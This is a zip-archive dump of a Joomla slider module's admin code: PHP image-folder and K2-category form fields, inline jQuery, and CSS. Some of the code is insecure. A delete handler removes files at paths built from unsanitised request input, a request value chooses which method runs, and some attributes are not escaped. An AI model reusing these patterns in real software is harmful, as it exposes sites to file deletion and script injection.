							<img data-image="'.$img['image'].'" data-name="'.$nameArr[0].'" data-description="'.(isset($img['description']) ?  htmlspecialchars($img['description']) :'' ).'" data-title="'.(isset($img['title']) ? $img['title'] :'' ).'" data-caption="'.(isset($img['caption']) ? $img['caption'] :'' ).'" data-imagesrc="'.$img['imagesrc'].'" src="'. $this->basePath() .'/'. $folder .'/'. $img['image'] .'">
							</div>
							<div class="ap-img-btn">
								<a class="edit" href="javascript:void(0)" onclick="apModal('.$i.')"><i class="fa fa-pencil-square-o"></i>Edit</a><a class="delete" href="javascript:void(0)" onclick="apDelete(\''.$img['image'].'\',this)"><i class="fa fa-times-circle"></i>Delete</a>
							</div>
						  </div>';
						if (isset($imageList[$img['key']]))
							unset($imageList[$img['key']]);
					}
					$i++;
				}
				foreach ($imageList as $k=>$img){
					if (JFile::exists(JPATH_ROOT.'/'.$folder.'/'.$img['image'])){
						$nameArr = explode('.',$img['image']);
						$html .= '<div class="ap-img brick small">
							<div class="brick-image">
							<img data-image="'.$img['image'].'" data-name="'.$nameArr[0].'" data-description="'.($flag && isset($imagesCurr[$k]['description']) ? htmlspecialchars($imagesCurr[$k]['description']) :'' ).'" data-title="'.($flag && isset($imagesCurr[$k]['title']) ? $imagesCurr[$k]['title'] :'' ).'" data-caption="'.($flag && isset($imagesCurr[$k]['caption']) ? $imagesCurr[$k]['caption'] :'' ).'"  data-imagesrc="'.$img['imagesrc'].'" src="'.$img['imagesrc'].'">
							</div>		
							<div class="ap-img-btn">
								<a class="edit" href="javascript:void(0)" onclick="apModal('.$i.')"><i class="fa fa-pencil-square-o"></i>Edit</a><a class="delete" href="javascript:void(0)" onclick="apDelete(\''.$img['image'].'\',this)"><i class="fa fa-times-circle" title="Delete"></i>Delete</a>
							</div>
						  </div>';
					}
					$i++;
				}
			}
			$return = array('imageHtml'=>$html,'success'=>$success);
			echo json_encode($return);
		}
		
		function deleteImage(){
			$input = JFactory::getApplication()->input;
			$success = false;
			$folder = $input->getString('folder');
			$image = $input->getString('image');
			$fullPath = JPATH_ROOT.'/'.$folder.'/'.$image;
			if (JFile::exists($fullPath)){
				if (JFile::delete($fullPath))$success = true;
			}
			$return = array('success'=>$success);
			echo json_encode($return);
		}
	}
	
	if ($task){
		$apAction = new ApImageFolderAction();	
		$apAction->$task();
	}
	
	
	exit();
}
jimport('joomla.filesystem.folder');


class JFormFieldApImageFolder extends JFormField {
	/**
	 * The form field type.
	 *
	 * @var    string
	 */
	public $type = 'ApImageFolder';
	
	/**
	 * The image config
	 */
	private $config = '';
	/**
	 * Method to instantiate the form field object.
	 *
	 * @param   JForm  $form  The form to attach to the form field object.
	 *
	 * @since   11.1
	 */
	public function __construct($form = null){
		parent::__construct($form);
	}
	/**
	 * Method add script to document.
	 */
	private function init(){
			
		$params = new JRegistry();
		$params->loadObject($this->form->getValue('params'));
		$this->config = $params->get($this->fieldname.'.images');
		$uri = str_replace("\\","/", str_replace(JPATH_SITE, JURI::root(true), dirname(__FILE__) ));
		
		$doc = JFactory::getDocument();
	
		// Gridly
		$doc->addScript($uri.'/js/jquery.gridly.packed.js');
		$doc->addStyleSheet($uri.'/css/jquery.gridly.css');
		
		// Uploader
		$doc->addStyleSheet($uri.'/apuploader/upload/css/jquery.fileupload-ui.css');
		$doc->addScript($uri.'/apuploader/upload/js/vendor/jquery.ui.widget.js');
		$doc->addScript($uri.'/apuploader/upload/js/jquery.iframe-transport.js');
		$doc->addScript($uri.'/apuploader/upload/js/jquery.fileupload.js');
		
		$doc->addScriptDeclaration('
		jQuery(document).ready(function(){ 
			jQuery(".hasTooltip").tooltip();
		});
		');
			
		$doc->addScriptDeclaration('
		var AP_IMAGE_FOLDER_ACTION = "'.$uri.'/apimagefolder.php?apaction=folders";
		var AP_IMAGE_ID = "'.JFactory::getApplication()->input->getInt('id').'";
		var AP_IMAGE_FIELDNAME = "'.$this->fieldname.'";
		');
		
		$doc->addScriptDeclaration('
		jQuery(document).ready(function(){ 
			apListImages();
			var form = document.adminForm;
			if(!form){
				return false;
			}
			var onsubmit = form.onsubmit;
			form.onsubmit = function(e){
				apUpdateImages();
				if(jQuery.isFunction(onsubmit)){
					onsubmit();
				}
			};
		});
		function apListImages(){
			var folder = jQuery("#'.$this->id.'").val();
			AP_PATH = folder;
			if(folder == ""){
				alert("Folder path required");
				return;
			}
			jQuery("#apListImage #apSort").html("<div id=\"loader\"><img src=\"'.str_replace("\\","/", str_replace(JPATH_SITE, JURI::root(true), dirname(dirname(__FILE__)) )).'/admin/images/loader.gif\" width=\"42\" height=\"42\" /></div>");
			
			jQuery.post(AP_IMAGE_FOLDER_ACTION,{
					task:"getListImage",
					folder:folder,
					mid:AP_IMAGE_ID,
					fieldname:AP_IMAGE_FIELDNAME
				},function(res){
					if(res.success){
						jQuery("#apSort").html(res.imageHtml);
						jQuery(".hasTooltip").tooltip();
						return jQuery("#apSort").gridly({selector:".ap-img", "responsive": true, base: 30, gutter: 21,  columns:10});
					}else{
						jQuery("#apListImage #apSort").html("<div class=\"no-item-image\"><div class=\"no-image\"><div class=\"no-image-text\">NO IMAGES IN FOLDER <i class=\"fa fa-folder-open\"></i></div></div></div>");
						return ;	
					}
				},"json");
			
		};

		function apUpdateImages(){
			var images = jQuery("#apListImage").find("img");
			var config = {};
			images.each (function(index,element){
				var $this = jQuery(this),
					name = $this.data("name"),
					position = $this.closest(".ap-img").data("position"),
					item = {};
				$this.data("position",position);
				for (var d in $this.data()) {
					item[d] = $this.data(d);
				};
				if (Object.keys(item).length) config[name] = item;
			});
			jQuery("#'.$this->fieldname.'_images'.'").val(JSON.stringify(config));
		}
		function apDelete(image,element){
			if(confirm("'.JText::_("AP_DELETE_CONFIRMATION").'")){
				var folder = jQuery("#'. $this->id.'").val();
				jQuery.post(AP_IMAGE_FOLDER_ACTION,
				{
					task:"deleteImage"
					,folder:folder
					,image:image
				},function(res){
					if(res.success){
						jQuery(element).closest(".brick").remove();
						return jQuery("#apSort").gridly({selector:".ap-img", "responsive": true, "action": "layout"});
					}
				},"json");
			}
		}
		function apModal(id){
			var images = jQuery("#apListImage").find("img");
			var image = images.get(id);
			jQuery("#apTitle").val(jQuery(image).data("title"));
			jQuery("#apCaption").val(jQuery(image).data("caption"));
			jQuery("#apDescription").val(jQuery(image).data("description"));
			jQuery("#apModal").data("imageId",id);
			jQuery("#apModal").modal("show");
			
		}
		function apUpdateImgData(){
			var imageId = jQuery("#apModal").data("imageId");
			var images = jQuery("#apListImage").find("img");
			var title = jQuery("#apTitle").val(),
				caption = jQuery("#apCaption").val(),
				description = jQuery("#apDescription").val();
			var image = images.get(imageId);
			
			jQuery(image).data("caption",caption).data("title",title).data("description",description);
			
			jQuery("#apModal").find("input,textarea").each(function(){
				jQuery(this).val("");
			});
			jQuery("#apModal").modal("hide");
		}
		
		');
	}
	//Empty Label
    protected function getLabel(){return;}
	/**
	 * Method to get the field input markup for a generic list.
	 * Use the multiple attribute to enable multiselect.
	 *
	 * @return  string  The field input markup.
	 *
	 */
	protected function getInput() {
		
		$modulePath = JURI::root().'/modules/'.basename(dirname(__DIR__));		
		$this->init();

		$html = array();
		
		$attr = '';

		// Initialize some field attributes.
		$attr .= $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';

		// To avoid user's confusion, readonly="true" should imply disabled="true".
		if ((string) $this->element['readonly'] == 'true' || (string) $this->element['disabled'] == 'true') {
			$attr .= ' disabled="disabled"';
		}

		$attr .= $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
		$attr .= $this->multiple ? ' multiple="multiple"' : '';
		$attr .= $this->required ? ' required="required" aria-required="true"' : '';

		// Initialize JavaScript field attributes.
		$attr .= ' onchange="apListImages();"' ;

		// Get the field options.
		$options = (array) $this->getOptions();

		// Create a regular list.
		$html[]	= '<div class="control-label-clone"><label class="span12">'.JText::_("APSL_PATH_TO_FOLDER_LABEL").'</label></div>';
		$html[] = JHtml::_('select.genericlist', $options, $this->name.'[folder]', trim($attr), 'value', 'text', $this->value, $this->id);
		$html[] = '<span class="add-on" data-trigger="hover" data-toggle="popover" data-placement="right" data-content="'.JText::_($this->element['data-content']).'" title="'.JText::_($this->element['title']).'">'.JText::_($this->element['append']).'</span>';
		$html[]	= '<div id="apListImage"><div id="apSort" class="gridly"></div></div>';
		$html[]	= '<input id="'.$this->fieldname.'_images'.'" name="'.$this->name.'[images]" type="hidden" value="" />';
		$html[] = $this->createModal();

		$html[] = '<input type="button" id="apGetImages" value="' . JText::_("Get images") . '" style="display: none;" /><br /><div id="apSort" class="gridly"></div><div id=\'img-element-data-form\' style=\'display: none;\'></div>';
		$html[] = '<p class="upload_images">'.JText::_("UPLOAD_IMAGES_LABEL").'</p>';
		$html[] = '<!-- The fileinput-button span is used to style the file input field as button -->
			<span class="fileinput-button btn-block">
				
				<img class="upload_folder" src="'.$modulePath.'/admin/apuploader/upload/img/open_folder-upload.png" />
								
				<span class="select-files">Drag and drop files here or click to select</span>
				<!-- The file input field used as target for the file upload widget -->
				<input id="fileupload" type="file" name="files[]" multiple>
			</span>
			<!-- The global progress bar -->
			<div id="progress" class="progress progress-success progress-striped active">
				<div class="bar"></div>
			</div>
			<!-- The container for the uploaded files -->
			<div id="files" class="files"></div>
			<script type="text/javascript">
				jQuery(document).ready(function() {	
					jQuery("#fileupload").fileupload({						
						url: location.href + "&apuploader=images&path="+AP_PATH+"&command=uploadImages",
						dataType: "json",
						done: function (e, data) {
							apListImages();
							jQuery("#progress .bar").css("width", 0 + "%").hide().fadeIn(200);	
						},
						progressall: function (e, data) {
							var progress = parseInt(data.loaded / data.total * 100, 10);	
							jQuery("#progress .bar").css("width", progress + "%");
						}	
					});
					jQuery("#fileupload").bind("fileuploadchange", function (e, data) { 
						jQuery("#fileupload").fileupload({
							url: location.href + "&apuploader=images&path="+AP_PATH+"&command=uploadImages"});
					});
				});
		</script>';
		
		return implode($html);
	}
	
	private function createModal(){
		$doc = JFactory::getDocument();
		$doc->addScriptDeclaration('
		jQuery(document).ready(function(){ 
			jQuery(".pophelper").popover({trigger:"hover"});
		});
		');
		$html = '
			<div id="apModal" class="modal hide fade">
				<div class="modal-header">
					<button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
					<h3 class="modal-title">'.JText::_("EDIT_SLIDE").'</h3>
				</div>
				<div class="modal-body">
					<div class="control-group">
						<label class="control-label-clone" for="apTitle"><div class="pophelper" for="apDescription" data-content="'.JText::_("AP_TITLE_POPUP").'" data-placement="right">'.JText::_("AP_TITLE").' <i class="fa fa-edit" data-placement="right"></i></div></label>
						<div class="controls">
							<input type="text" id="apTitle" />
						</div>
					</div>
					<div class="control-group">
						<label class="control-label-clone" for="apCaption"><div class="pophelper" for="apDescription" data-content="'.JText::_("AP_CAPTION_POPUP").'" data-placement="right">'.JText::_("AP_CAPTION").' <i class="fa fa-edit tip"></i></div></label>
						<div class="controls">
							<input type="text" id="apCaption" />
						</div>
					</div>
					<div class="description-group">
						<div class="control-group">
							<label class="control-label-clone" for="apDescription" data-content="'.JText::_("AP_DESCRIPTION_POPUP").'" data-placement="top">
							<div class="pophelper" for="apDescription" data-content="'.JText::_("AP_DESCRIPTION_POPUP").'" data-placement="right">'.JText::_("AP_DESCRIPTION").' <i class="fa fa-edit"></i></div>
							<hr/>			
							<p class="helper">'.JText::_("AP_MODAL_EXAMPLE_TXT").'</p>
							</label>
							<div class="controls">
								<textarea id="apDescription" cols="80" rows="18"></textarea>
							</div>
						</div>
					</div>
				</div>
				<div class="modal-footer">
					<button class="btn btn-custom" onclick="apUpdateImgData()" type="button" >'.JText::_("AP_OK").'<i class="fa fa-check"></i></button>
				</div>
			</div>
		';
		return $html;
	}
	
	/**
	 * Method to get the field options. 
	 *
	 * @return  array  The field option objects.
	 *
	 */
	protected function getOptions(){
		$options = array();

		// Initialize some field attributes.
		$filter = (string) $this->element['filter'];
		$exclude = (string) $this->element['exclude'];

		// Get the path in which to search for file options.
		$path = (string) $this->element['directory'];
		if (!is_dir($path))
		{
			$path = JPATH_ROOT . '/' . $path;
		}

		// Get a list of folders in the search path with the given filter.
		//$folders = JFolder::folders($path, $filter);
		$listFolers = self::listFolderTree($path,$filter,100);

		// Build the options list from the list of folders.
		if (is_array($listFolers)){
			$children = array();
			foreach ($listFolers as $k => $folder) {
					if ($exclude)
					{
						if (preg_match(chr(1) . $exclude . chr(1), $folder))
						{
							continue;
						}
					}
					$folder = (object) $folder;
					$folder->title = $folder->name;
					$folder->parent_id = $folder->parent;
					$pt = $folder->parent;
					$list = @$children[$pt] ? $children[$pt] : array();
					array_push($list, $folder);
					$children[$pt] = $list;
				}
		
			$list = JHTML::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0);
			$options = array();
			foreach ($list as $item) {
				$item->treename = JString::str_ireplace('&#160;', '- ', JString::str_ireplace('&#160;&#160;', '&#160;', $item->treename));
				$options[] = JHTML::_('select.option',str_replace(DIRECTORY_SEPARATOR,'/',trim($item->relname,DIRECTORY_SEPARATOR)), ' ' . $item->treename);
				
			}
		}
		return $options;
	}
	
	/**
	 * Lists folder in format suitable for tree display.
	 *
	 * @param   string   $path      The path of the folder to read.
	 * @param   string   $filter    A filter for folder names.
	 * @param   integer  $maxLevel  The maximum number of levels to recursively read, defaults to three.
	 * @param   integer  $level     The current level, optional.
	 * @param   integer  $parent    Unique identifier of the parent folder, if any.
	 *
	 * @return  array  Folders in the given folder.
	 *
	 */
	public static function listFolderTree($path, $filter, $maxLevel = 100, $level = 1, $parent = 1){
		$dirs = array();
		
		if ($level == 1){
			$fullName = JPath::clean($path);
			$dirs[] = array('id' => 1, 'parent' => 0, 'name' => basename($path), 'fullname' => $fullName,
					'relname' => str_replace(JPATH_ROOT, '', $fullName));
			$GLOBALS['_ap_folder_tree_index'] = 1;
		}
		if ($level < $maxLevel){
			$folders =JFolder::folders($path, $filter);
			
			// First path, index foldernames
			foreach ($folders as $name)
			{
				$id = ++$GLOBALS['_ap_folder_tree_index'];
				$fullName = JPath::clean($path . '/' . $name);
				$dirs[] = array('id' => $id, 'parent' => $parent, 'name' => $name, 'fullname' => $fullName,
					'relname' => str_replace(JPATH_ROOT, '', $fullName));
				$dirs2 = self::listFolderTree($fullName, $filter, $maxLevel, $level + 1, $id);
				$dirs = array_merge($dirs, $dirs2);
			}
		}
		return $dirs;
	}
	// Final
	public function renderField($options = array()) {
		return '<div class="control-group grid">'
		. '<div class="controls">' . $this->getInput() . '</div>'
		. '</div>';
 	}
}
PK!�R���-mod_ap_smart_layerslider/admin/k2category.phpnu&1i�<?php
/**
 * @package 	k2category.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

jimport('joomla.html.html');
jimport('joomla.form.fields.list');

class JFormFieldK2Category extends JFormFieldList {

	/**
	 * The form field type.
	 * 
	 * @var string
	 */
	public $type = 'K2Category';

	/**
	 * Constuctor
	 * 
	 * @param array $form
	 */
	public function __construct($form = array()) {
		parent::__construct($form);
	}

	/**
	 * Custom Method to get the field input markup for a generic list.
	 * Use the multiple attribute to enable multiselect.
	 *
	 * @return  string  The field input markup.
	 *
	 */
	protected function getInput() {
		return parent::getInput();
	}

	/**
	 * Method to get the field options for category
	 * Use the extension attribute in a form to specify the.specific extension for
	 * which categories should be displayed.
	 * Use the show_root attribute to specify whether to show the global category root in the list.
	 *
	 * @see JFormFieldCategory::getOptions()
	 *
	 * @return  array    The field option objects.
	 * 
	 */
 
	protected function getOptions() {

		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('c.*')
				->from('#__k2_categories AS c')
				->where('trash = 0')
				->order('parent')
				->order('ordering');
		$db->setQuery($query);
		$doc = JFactory::getDocument();	
	
		
		// if K2 is installed
		if (JFile::exists(JPATH_SITE.'/components/com_k2/k2.php')) {
		?>
		<script type="text/javascript">
		jQuery(document).ready(function(){
			jQuery('div.control-group.grid .controls #apListImage').hide().fadeIn(200);
			
			 var disablefields = jQuery('div.control-group:has([id="jform_params_count"]), div.control-group:has([id="jform_params_sort_order_field"]), div.control-group:has([id="jform_params_sort_order"])').find('input, div, label');
			jQuery('div.control-group .controls fieldset label[for^="jform_params_display_form').on('click', function () {
				 jQuery(disablefields).hide().fadeIn(300); 	
			});
			jQuery('div.control-group .controls fieldset label[for="jform_params_display_form2"]').on('click', function () {
				jQuery(disablefields).hide();
				jQuery('div.control-group:has(#apListImage) .controls #apListImage').hide().fadeIn(300);
				jQuery('div.control-group:has(#apListImage) .controls #apListImage #apSort').hide().fadeIn(100);
			});	
		});
		</script>
		<?php	

		try {
			$rows = $db->loadObjectList();
			$children = array();
			if (count($rows)) {
				foreach ($rows as $k => $v) {
					$v->title = $v->name;
					$v->parent_id = $v->parent;
					$pt = $v->parent;
					$list = @$children[$pt] ? $children[$pt] : array();
					array_push($list, $v);
					$children[$pt] = $list;
				}

				$list = JHTML::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0);
				$options = array();
				foreach ($list as $item) {
					$item->treename = JString::str_ireplace('&#160;', '- ', $item->treename);
					$options[] = JHTML::_('select.option', $item->id, ' ' . $item->treename);
				}
				$options = array_merge(parent::getOptions(), $options);

				return $options;
			}
			return array();
		} catch (Exception $e) {
			$e->getMessage();
		}
		return array();

		// if K2 not installed
		} else {
		?>
		<script type="text/javascript">
		    jQuery(document).ready(function(){
				jQuery('div.control-group:has([id="<?php echo $this->id; ?>"]) .control-label, div.control-group:has([id="<?php echo $this->id; ?>"]) .controls').hide();
				jQuery('div.control-group:has([id="<?php echo $this->id; ?>"])').prepend('<p class="error"><?php echo JText::_('APSL_K2_CATEGORY_ERROR');?></p>');
				jQuery('div.control-group:has([id="<?php echo $this->id; ?>"]) p.error').hide();
				jQuery('div.control-group:has(#apListImage) .controls #apListImage').hide().fadeIn(200);
	
	        var disablefields = jQuery('div.control-group:has([id="jform_params_count"]), div.control-group:has([id="jform_params_sort_order_field"]), div.control-group:has([id="jform_params_sort_order"])').find('input, div, label');
			jQuery(disablefields).tooltip('hide');
			
			 jQuery('div.control-group .controls fieldset#jform_params_display_form label').filter(':eq(0)').on('click', function () {
				jQuery(disablefields).removeAttr('disabled').removeClass('disabled').hide().fadeIn(300).tooltip();
				jQuery('div.control-group:has([id="jform_params_count"]) .controls .input-append .add-on').show(); 	
			 });	

			jQuery('div.control-group .controls fieldset#jform_params_display_form label').filter(':eq(1)').on('click', function () {
			   jQuery(disablefields).attr('disabled', true).addClass('disabled').tooltip('destroy');
			   jQuery('div.control-group:has(select[id="<?php echo $this->id; ?>"]) p.error').hide().fadeIn(300);
			   jQuery('div.control-group:has([id="jform_params_count"]) .controls .input-append .add-on').hide();
			});
			
			jQuery('div.control-group .controls fieldset#jform_params_display_form label').filter(':eq(2)').on('click', function () {
				jQuery(disablefields).removeAttr('disabled').removeClass('disabled').hide().fadeIn(300); 
			    jQuery('div.control-group:has(#apListImage) .controls #apListImage').hide().fadeIn(200);
				jQuery('div.control-group:has(#apListImage) .controls #apListImage #apSort').hide().fadeIn(100);
				
			});
				
			});
		</script>
		<?php	
		}
	}	
}PK!�b�q�q2mod_ap_smart_layerslider/admin/css/admin_style.cssnu&1i�/* @color #5995C1 */ 

@font-face {font-family:'aller';src: url('../fonts/aller/aller_rg-webfont.eot');src: url('../fonts/aller/aller_rg-webfont.eot?#iefix') format('embedded-opentype'),url('../fonts/aller/aller_rg-webfont.woff') format('woff'),url('../fonts/aller/aller_rg-webfont.ttf') format('truetype'),url('../fonts/aller/aller_rg-webfont.svg#allerregular') format('svg');-webkit-font-smoothing:antialiased;}

@font-face {font-family: 'allerbold';src: url('../fonts/aller-bold/aller_bd-webfont.eot');src: url('../fonts/aller-bold/aller_bd-webfont.eot?#iefix') format('embedded-opentype'), url('../fonts/aller-bold/aller_bd-webfont.woff') format('woff'), url('../fonts/aller-bold/aller_bd-webfont.ttf') format('truetype'), url('../fonts/aller-bold/aller_bd-webfont.svg#allerbold') format('svg');-webkit-font-smoothing:antialiased;}

.intro,#general,#aphelpModal .modal-header h4 span.pro {font-family:"Segoe UI","Myriad Pro","aller", Arial, sans-serif;-webkit-font-smoothing:antialiased;}
.intro h2,.intro h4,.intro h2 span,.intro div.license .title {font-family:"aller", Arial, sans-serif;-webkit-font-smoothing:antialiased;}
#myTabTabs, .apspacer_divider{font-family:"aller",Arial, sans-serif;-webkit-font-smoothing:antialiased;}
strong, b, .apspacer_divider{font-family:"Segoe UI","Myriad Pro","allerbold",Arial, sans-serif;-webkit-font-smoothing:antialiased;}
label b{font-family:Arial, sans-serif;-webkit-font-smoothing:antialiased;}

.form-inline.form-inline-header {visibility:hidden;display:none;}
#system-message-container .alert,
div.subhead-collapse>.subhead{margin:0 auto;}
.container-fluid.container-main{padding:0;margin:0 auto;}
.form-inline, #content {width:100%;padding:0!important;margin: 0}
.span3 .control-group .controls .chzn-container.chzn-container-single{width: 100%;}

a.btn-subhead, .subhead-collapse{margin-bottom:1px!important;}
.subhead {box-shadow:0 1px 0px rgba(0,0,0,.3);}

#module-form{display:table; width:100%; margin:0 0 20px; padding:0; height:100%; position:relative}

.form-vertical .control-group .control-label.aplabel,.form-vertical .control-group .control-label.aplabel label,
#general .form-inline-header .control-group .control-label label {background:transparent;box-shadow:none}	
.form-vertical .control-group .control-label.aplabel label{float:left}
.form-horizontal{height:100%;width:100%;display:table;position:relative;}
.subhead .container-fluid {z-index:3;}
#status {-moz-box-shadow:none!important;-webkit-box-shadow:none!important;box-shadow:none!important;}/* remove white shadow in admin status module */ 

/* #general */
#general .form-inline.form-inline-header.visible,
#general .form-inline.form-inline-header.visible .control-group {visibility:visible;display:block;width:100%;margin:0 auto 25px;}
#general .form-inline-header .control-group .control-label {width:auto;float:left;margin:2px 7px 0 0;}
#general .form-inline-header .control-group .controls {width:auto;}
#general .form-inline-header .control-group .controls input#jform_title {float:left;}
#general h3 {width:auto;margin:6px 7px 0 15px;display:block;display:inline;color:#aaa;font-weight:normal;font-size:100%;line-height:32px;}
#general .info-labels {width:auto;display:inline-block;margin:5px auto 0;}
#general>.form-inline{margin: 0 auto;}
#general>.form-inline .control-group{margin: 0;}
#general>.form-inline .control-group .control-label{}
#general>.form-inline .control-group .controls{margin:0; float:left; padding:0}
#general .span3 .form-vertical:first-child {}
#general .span3 .form-vertical .control-group .control-label{width:95%;}
#general .span3 .form-vertical .control-group .controls {display:block;clear:both;width:99%;margin:0;background:transparent;box-shadow:none}
#general .span3 .form-vertical .control-group .controls select{width:98%;}
#general .span3 .form-vertical .control-group .controls .input-append input {width:auto;}

#general hr {clear:both}
#general div.divider {width:99%;clear:both;margin:-5px auto 20px;text-indent:-9999em;height:1px;padding:0;background:#ccc;width:100%;border:none;border-bottom:1px solid white;}
#general div.license img.img-rounded {margin:0;padding:0;}
#general .getmore {margin:0;line-height:25px;font-size:14px;text-align:left;}
#general .getmore a  {font-size:14px;}
#general .readmore a {color:#777;line-height:19px;font-size:13px;margin-bottom:-7px;margin-top:25px;}
#general .readmore a:hover {color:#333;}
#general .readmore a .icomoon-info {color:#888;line-height:19px;font-size:16px;vertical-align:middle;}
#general .readmore a:hover .icomoon-info {color:#5995C1}

/* add-on with popover for apimagefolder (select) */
.grid .controls span.add-on {padding:3px 8px 7px 9px;margin-left:2px;}
.grid .controls span.add-on i {font-size:16px;vertical-align:middle;line-height:20px;color:#888;-webkit-transition:all 0.4s ease-out; -moz-transition:all 0.4s ease-out; -o-transition:all 0.4s ease-out; -ms-transition:all 0.4s ease-out}
.grid .controls span.add-on:hover, 
.grid .controls span.add-on:hover i {color:#444;cursor:default}

/* add-on with popover for aptext */
.control-group .controls .field-wrap hr {margin:5px auto;padding:0;clear:both;}
.control-group .controls .field-wrap img {text-align:center;margin:0 auto;display:table;}
.control-group .controls .field-wrap span.add-on {padding-left:8px;padding-right:8px;color:#999;}
.control-group .controls .field-wrap span.add-on i {font-size:15px;line-height:20px;color:#888;-webkit-transition:all 0.4s ease-out; -moz-transition:all 0.4s ease-out; -o-transition:all 0.4s ease-out; -ms-transition:all 0.4s ease-out}
.control-group .controls .field-wrap span.add-on:hover, 
.control-group .controls .field-wrap span.add-on:hover i {color:#444;cursor:default}

/* Tabs */
#myTabTabs{width:19%; height:100%; min-height:560px;border:0; background:#3b3f42; border-bottom:1px solid rgba(0,0,0,.5); box-shadow:0px 3px 8px rgba(0,0,0,.25); padding:25px 0; margin:0; position:absolute; z-index:2; top:0; left:0; bottom:0; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box}
#myTabTabs li:first-child{border:none; box-shadow:inset 0px 1px 0px transparent}
#myTabTabs li{width:100%; float:left; margin-top:1px; border-top:1px solid #1C1E20; box-shadow:inset 0px 1px 0px rgba(255,255,255,0.09); padding:0; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; -webkit-transition:background 0.4s ease-out; -moz-transition:background 0.4s ease-out; -o-transition:background 0.4s ease-out; -ms-transition:background 0.4s ease-out}
#myTabTabs li:hover, 
#myTabTabs li.active{background-color:#2C2F32; box-shadow:inset 0px -20px 30px rgba(0,0,0,.2),inset 0px 1px 0px rgba(255,255,255,0.07)}
#myTabTabs li:first-child:hover{background-color:#2F3235; box-shadow:inset 0px -20px 30px rgba(0,0,0,.3),inset 0px 2px 0px rgba(255,255,255,0.06),inset 0px 1px 0px rgba(0,0,0,.5)}
#myTabTabs li:first-child.active{background-color:#2F3235; box-shadow:inset 0px -20px 30px rgba(0,0,0,.3),inset 0px 2px 0px rgba(255,255,255,0.08),inset 0px 1px 0px rgba(0,0,0,.6)}
#myTabTabs li i{float:left;font-size:130%;color:#828282;width:20px;vertical-align:middle;padding:0 0 0 3px;margin:0 9px 0 0}
#myTabTabs li a{border-radius:0; border:0; padding:16px 20px; text-transform:uppercase; list-style:none outside none;font-size:14px; line-height:22px;color:#828282; text-shadow:0px 1px 1px rgba(0,0,0,0.8); -webkit-transition:all 0.4s ease-in-out; -moz-transition:all 0.4s ease-in-out; -o-transition:all 0.4s ease-in-out; -ms-transition:all 0.4s ease-in-out}
#myTabTabs li:hover i{color:#fff; -webkit-transition:color 0.4s ease-in-out; -moz-transition:color 0.4s ease-in-out; -o-transition:color 0.4s ease-in-out; -ms-transition:color 0.4s ease-in-out}
#myTabTabs li.active i{color:#77A9C4;}
#myTabTabs li a:hover, 
#myTabTabs li.active a{border:0; background:none; color:#fff}
#myTabTabs .copyright{right:0; left:0; text-align:center; bottom:30px; position:absolute}
#myTabTabs .copyright a{font-size:13px; padding:7px; color:#828282; text-decoration:none; -webkit-transition:all 0.4s ease-out; -moz-transition:all 0.4s ease-out; -o-transition:all 0.4s ease-out; -ms-transition:all 0.4s ease-out}
#myTabTabs .copyright a:hover{color:#fff}

/* Content */
#myTabContent{width:81%;height:100%;float:right}
#myTabContent>div{padding:35px 3% 35px;width:94%;min-height:87%;margin:0 auto;float:none;background:#F5F5F5; border-radius:0; box-shadow:0px 5px 7px rgba(0,0,0,.1); border-bottom:1px solid rgba(0,0,0,.1)}

	
/* help modal (aphelpModal) */
#aphelpModal {box-shadow:0 10px 50px rgba(255,255,255,.2);}
#aphelpModal{height:80%;width:70%;margin-left:-35%; }
#aphelpModal .modal-body{max-height:70%;font-size:95%;}
#aphelpModal .modal-body p {margin:0 22px 10px;line-height:160%;font-size:114%;text-align:left;font-family:"Segoe UI","Myriad Pro",Arial,sans-serif}
#aphelpModal .modal-header,
#aphelpModal .modal-footer {background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1IiBoZWlnaHQ9IjUiPg0KPHJlY3Qgd2lkdGg9IjUiIGhlaWdodD0iNSIgZmlsbD0iI2Y3ZjdmNyI+PC9yZWN0Pg0KPHBhdGggZD0iTTAgNUw1IDBaTTYgNEw0IDZaTS0xIDFMMSAtMVoiIHN0cm9rZT0iI2YxZjFmMSIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+DQo8L3N2Zz4=') center center repeat;}
#aphelpModal .modal-header {padding-top:0;padding-bottom:0;margin:0 auto;border-radius:7px 7px 0 0;box-shadow:inset 0 -1px 0px white}
#aphelpModal .modal-header button.close {margin-top:10px;margin-bottom:-10px;}
#aphelpModal .modal-footer {border-radius:0 0 7px 7px;box-shadow:inset 0 1px 1px white;}
#aphelpModal .modal-header h4{line-height: 120%; clear:both; font-family: Georgia, "Book Antiqua", Palatino, serif; font-size:24px; margin:0 8px; padding:5px 0px 24px 10px; color:#444; font-weight: normal;text-align:left;}
#aphelpModal .modal-header h4 span.icomoon-info:before {font-size:125%;line-height:24px;vertical-align:middle;top:-2px;margin:0 5px 0 0;color:#F38B2E;}
#aphelpModal .modal-header h4 span.pro {position:relative;font-size:8px;font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;padding:3px 4px 2px;color:#fff;vertical-align:middle;top:0;margin-left:7px;width:auto;border-radius:3px;background-color:#767A83;font-style:normal}
#aphelpModal .modal-header h4 small {font-size:9px;font-family:Arial,sans-serif;line-height:18px;padding:2px 5px;color:#fff;vertical-align:middle;top:-1px;margin-left:7px;position:relative;width:auto;border-radius:3px;background-color:#5995C1;font-style:normal;text-shadow:1px 1px 0px rgba(0,0,0,0.2);}
.modal-btn {padding:6px 0 24px;float:right;position:absolute;margin:10px 0 0 0;right:24%;}
.modal-btn a.btn span.icomoon-info {color: #F27300;font-size:15px;line-height:18px;vertical-align:middle;margin:0px 4px 0 0;}

/* Intro start */
